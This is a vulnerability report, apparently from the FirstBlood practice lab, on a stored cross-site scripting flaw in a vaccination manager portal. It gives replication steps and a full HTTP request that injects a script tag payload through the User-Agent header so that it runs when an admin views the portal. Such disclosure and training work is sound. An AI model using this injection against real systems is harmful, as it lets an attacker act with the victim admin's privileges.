FirstBlood-#700Stored XSS on /vaccination-manager/portal.php
This issue was discovered on FirstBlood v2

On 2021-10-27, 0x1452 Level 3 reported:


I found a stored XSS on the /vaccination-manager/portal.php endpoint. This is caused by the unsanitized User Agent that is reflected on the page.

To replicate this, submit any proof of vaccination via POST /vaccination-manager/pub/upload-vaccination-proof.php but edit your User-Agent to <script>alert(document.domain)</script>. Then visit the vaccination manager portal.

Example request:

POST /vaccination-manager/pub/submit-vaccination-proof.php HTTP/1.1
Cookie: vaccination_manager=67585788fd21208dd2732239ced72f1dafaac443534b2d2dc42a8ad25d453ff1
Content-Length: 13068
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="95", "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBfhqG69DtLRDlh5Y
User-Agent: <script>alert(document.domain)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Content-Disposition: form-data; name="email"

[email protected]
Content-Disposition: form-data; name="vaccination_proof"; filename="img.jpg"
Content-Type: image/jpeg



An attacker can use this to cause XSS when an admin visits the vaccination manager portal. While the vaccination_manager cookie can't be stolen because it's HttpOnly, the attacker can still use this to perform any action the victim is authorized to.

P2 High

Endpoint: /vaccination-manager/pub/submit-vaccination-proof.php

Parameter: User-Agent header

Payload: <script>alert(document.domain)</script>

FirstBlood ID: 29
Vulnerability Type: Stored XSS

When uploading a vaccine proof it is possible to achieve stored XSS against admins set via the user agent. As this value typically can't be user controlled the developers did not think it was 'worth' preventing against XSS.